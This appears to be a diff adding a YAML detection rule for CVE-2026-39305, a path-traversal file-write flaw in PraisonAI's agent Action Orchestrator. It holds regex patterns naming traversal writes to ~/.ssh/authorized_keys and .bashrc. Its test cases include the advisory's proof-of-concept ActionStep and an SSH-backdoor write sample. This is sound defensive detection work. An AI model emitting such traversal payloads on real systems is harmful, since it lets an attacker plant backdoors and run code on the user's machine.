+      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: PraisonAI Action Orchestrator step.target Path Traversal Arbitrary File Write RCE (CVE-2026-39305 / GHSA-jfxc-v5g9-38xr)."
+      strength: secondary
+tags: { category: tool-poisoning, subcategory: path-traversal-arbitrary-file-write, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: praisonai-cve-2026-39305 }
+agent_source: { type: llm_io, framework: [praisonai, any], provider: [any] }
+detection:
+  condition: any
+  false_positives:
+    - "Legitimate PraisonAI ActionStep FILE_CREATE/FILE_EDIT whose target is a normal relative filename inside the workspace (no ../ traversal)."
+    - "Incident-response or hardening checklists that mention ~/.ssh/authorized_keys or .bashrc defensively, without any path-traversal write."
+    - "Security advisory text quoting CVE-2026-39305 as a fixed/mitigated issue without an executable traversal payload."
+  conditions:
+    - field: content
+      operator: regex
+      value: '(?i)(?:ActionStep|action[_-]?type|step\.target|target\s*=)[\s\S]{0,200}(?:FILE_CREATE|FILE_EDIT)?[\s\S]{0,120}target\s*[=:]\s*["'']?(?:\.\.[\\/]){3,}'
+      description: "one line: PraisonAI ActionStep with a FILE_CREATE/FILE_EDIT target value containing 3+ ../ traversal segments — the core step.target escape"
+    - field: content
+      operator: regex
+      value: '(?i)(?:\.\.[\\/]){3,}[^\n"'']{0,120}(?:tmp/orchestrator_pwned|\.ssh/authorized_keys|/\.bashrc|/\.bash_profile|/\.profile)'
+      description: "one line: relative traversal chain writing to the advisory PoC sink (orchestrator_pwned) or sensitive RCE targets (authorized_keys/.bashrc/.profile)"
+    - field: content
+      operator: regex
+      value: '(?i)(?:praisonai|action[_-]?orchestrator)[\s\S]{0,200}(?:\.\.[\\/]){2,}[\s\S]{0,80}(?:FILE_CREATE|FILE_EDIT|step\.target|workspace\s*/\s*step)'
+      description: "one line: PraisonAI / Action Orchestrator context combined with traversal sequences and the workspace/step.target write sink"
+    - field: content
+      operator: regex
+      value: '(?i)CVE-2026-39305[\s\S]{0,200}(?:path[\s_-]?traversal|step\.target|action[\s_-]?orchestrator|FILE_CREATE|authorized_keys|arbitrary[\s_-]?file)'
+      description: "explicit CVE framing"
+response:
+  actions: [alert, block_input]
+  message_template: >
+    [ATR-2026-01963] CRITICAL: PraisonAI Action Orchestrator step.target path traversal (CVE-2026-39305) writes arbitrary files outside the workspace (e.g. ~/.ssh/authorized_keys) enabling RCE. Block this ActionStep, canonicalise/validate target paths against the workspace boundary, and upgrade PraisonAI to >= 4.5.113.
+confidence: 80
+wild_fp_rate: 0
+test_cases:
+  true_positives:
+    - input: "ActionStep(id='x', action_type=ActionType.FILE_CREATE, target='../../../../../../../tmp/orchestrator_pwned.txt', params={'content':'pwned'})"
+      expected: triggered
+      description: "Verbatim advisory PoC: FILE_CREATE ActionStep with deep ../ traversal target to /tmp/orchestrator_pwned.txt"
+    - input: "PraisonAI Action Orchestrator step.target = '../../../../../../.ssh/authorized_keys' via workspace / step.target FILE_CREATE write"
+      expected: triggered
+      description: "Action Orchestrator traversal writing the SSH backdoor sink described in the advisory"
+    - input: "CVE-2026-39305: PraisonAI Action Orchestrator path traversal in step.target allows arbitrary file write (authorized_keys) leading to RCE"
+      expected: triggered
+      description: "Explicit CVE-2026-39305 reference with path-traversal and authorized_keys exploit context"
+  true_negatives:
+    - input: "ActionStep(action_type=ActionType.FILE_CREATE, target='reports/summary.md', params={'content':'done'})"
+      expected: not_triggered
+      description: "Legitimate Action Orchestrator FILE_CREATE writing a normal relative path inside the workspace — no ../ traversal"
+    - input: "Incident response checklist: review ~/.ssh/authorized_keys for SSH backdoors and rotate keys"
+      expected: not_triggered
+      description: "Defensive mention of authorized_keys with no traversal sequence and no orchestrator/ActionStep sink"
+    - input: "Upgrade PraisonAI to 4.5.113 to remediate CVE-2026-39305"
+      expected: not_triggered
+      description: "Mitigation advice citing the CVE without any traversal payload or exploit tokens"